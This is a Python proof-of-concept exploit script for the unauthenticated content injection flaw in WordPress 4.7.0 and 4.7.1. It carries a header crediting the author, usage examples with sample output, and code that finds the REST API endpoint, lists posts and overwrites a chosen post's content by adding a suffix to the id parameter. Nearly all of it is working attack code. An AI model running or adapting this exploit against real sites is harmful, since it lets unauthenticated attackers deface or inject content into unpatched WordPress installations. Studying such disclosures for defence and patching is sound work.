WordPress 4.7.0/4.7.1 - Unauthenticated Content Injection (Python)

# Exploit Title: Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Date: 2017-02-02
# Exploit Author: @leonjza
# Vendor Homepage: https://wordpress.org/
# Software Link: https://wordpress.org/wordpress-4.7.zip
# Version: Wordpress 4.7.0/4.7.1
# Tested on: Debian Jessie
#
# PoC gist: https://gist.github.com/leonjza/2244eb15510a0687ed93160c623762ab
#
 
# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
 
# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
#  - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!
 
import json
import sys
import urllib2
 
from lxml import etree
 
 
def get_api_url(wordpress_url):
    response = urllib2.urlopen(wordpress_url)
 
    data = etree.HTML(response.read())
    u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
 
    # check if we have permalinks
    if 'rest_route' in u:
        print(' ! Warning, looks like permalinks are not enabled. This might not work!')
 
    return u
 
 
def get_posts(api_base):
    respone = urllib2.urlopen(api_base + 'wp/v2/posts')
    posts = json.loads(respone.read())
 
    for post in posts:
        print(' - Post ID: {}, Title: {}, Url: {}'
              .format(post['id'], post['title']['rendered'], post['link']))
 
 
def update_post(api_base, post_id, post_content):
    # more than just the content field can be updated. see the api docs here:
    # https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
    data = json.dumps({
        'content': post_content
    })
 
    url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
    req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
    response = urllib2.urlopen(req).read()
 
    print('* Post updated. Check it out at {}'.format(json.loads(response)['link']))
 
 
def print_usage():
    print('Usage: {} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
 
 
if __name__ == '__main__':
 
    # ensure we have at least a url
    if len(sys.argv) < 2:
        print_usage()
        sys.exit(1)
 
    # if we have a post id, we need content too
    if 2 < len(sys.argv) < 4:
        print('Please provide a file with post content with a post id')
        print_usage()
        sys.exit(1)
 
    print('* Discovering API Endpoint')
    api_url = get_api_url(sys.argv[1])
    print('* API lives at: {}'.format(api_url))
 
    # if we only have a url, show the posts we have have
    if len(sys.argv) < 3:
        print('* Getting available posts')
        get_posts(api_url)
 
        sys.exit(0)
 
    # if we get here, we have what we need to update a post!
    print('* Updating post {}'.format(sys.argv[2]))
    with open(sys.argv[3], 'r') as content:
        new_content = content.readlines()
 
    update_post(api_url, sys.argv[2], ''.join(new_content))
 
    print('* Update complete!')